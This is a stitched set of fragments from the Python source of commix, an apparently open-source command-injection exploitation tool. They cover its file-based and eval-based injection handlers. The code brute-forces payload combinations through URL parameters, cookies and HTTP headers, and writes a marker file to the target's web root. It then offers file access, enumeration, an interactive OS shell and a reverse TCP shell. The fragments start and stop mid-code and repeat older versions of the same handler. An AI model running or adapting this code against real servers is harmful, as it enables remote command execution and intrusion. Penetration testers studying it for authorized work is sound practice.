fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, delay) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not menu.options.verbose: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... [ " + percent + " ]") sys.stdout.flush() if len(shell) == 0: #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #if menu.options.verbose: #print "" raise urllib2.HTTPError( url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if e.getcode() == 404: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True: warning_msg = settings.WARNING_SIGN + "It seems that you don't have permissions to " warning_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL) print "" while True: tmp_upload = raw_input( settings.QUESTION_SIGN + "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > ").lower() if tmp_upload in settings.CHOICE_YES: exit_loops = True call_tfb = tfb_controller( no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: if tmp_upload == "": tmp_upload = "enter" print Back.RED + settings.ERROR_SIGN + "'" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL + "\n" pass continue else: if exit_loops == False: if not menu.options.verbose: if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str( float_percent) + "%" else: percent = str( float_percent) + "%" sys.stdout.write( "\r" + settings.INFO_SIGN + "Testing the " + technique + "... [ " + percent + " ]") sys.stdout.flush() continue else: continue else: raise elif e.getcode() == 401: print Back.RED + settings.ERROR_SIGN + "Authorization required!" + Style.RESET_ALL + "\n" sys.exit(0) elif e.getcode() == 403: print Back.RED + settings.ERROR_SIGN + "You don't have permission to access this page." + Style.RESET_ALL + "\n" sys.exit(0) except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warning_msg = settings.WARNING_SIGN + "It seems that you don't have permissions to " warning_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL) print "" # Provide custom server's root directory. custom_srv_root_dir() continue except: raise
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR: settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.srv_root_dir: settings.SRV_ROOT_DIR = menu.options.srv_root_dir else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: # Add "/www" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_srv_root_dir() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\") if not settings.LOAD_SESSION or settings.RETEST == True: info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... " print settings.print_info_msg(info_msg) i = 0 TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell : payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = fb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0 : # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # if settings.VERBOSITY_LEVEL >= 1: # print "" raise urllib2.HTTPError(url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if e.getcode() == 404: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True : warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" while True: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) tmp_upload = sys.stdin.readline().replace("\n","").lower() if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: if tmp_upload == "": tmp_upload = "enter" err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg(err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" else: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: continue else: raise elif e.getcode() == 401: err_msg = "Authorization required!" print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) elif e.getcode() == 403: err_msg = "You don't have permission to access this page." print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" # Provide custom server's root directory. custom_srv_root_dir() continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True") else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) if settings.VERBOSITY_LEVEL >= 1: print "" delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "\n" if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == False: return False elif os_shell_option == "quit": # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg(warn_msg)+ "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp() if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options() result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Command execution results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg(err_msg) else: pass else: response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": if settings.VERBOSITY_LEVEL >= 1: print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def eb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS if not settings.LOAD_SESSION: url = eb_injector.warning_detection(url, http_request_method) info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print("") i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: if whitespace == " ": whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): try: settings.EVAL_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision(separator, TAG, randv1, randv2) suffix = _urllib.parse.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + _urllib.parse.quote(")}") in payload: payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}")) #payload = payload + TAG + "" # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) if not settings.TAMPER_SCRIPTS['base64encode'] and \ not settings.TAMPER_SCRIPTS['hexencode']: payload = payload.replace(" ", "%20") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating payload for the injection..." print(settings.print_info_msg(info_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = eb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = eb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) response = eb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. shell = eb_injector.injection_test_results(response, TAG, randvcalc) time.sleep(timesec) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print("") else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_success_msg(success_msg)) print(settings.SUB_CONTENT_SIGN + str(checks.url_decode(payload)) + Style.RESET_ALL) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" 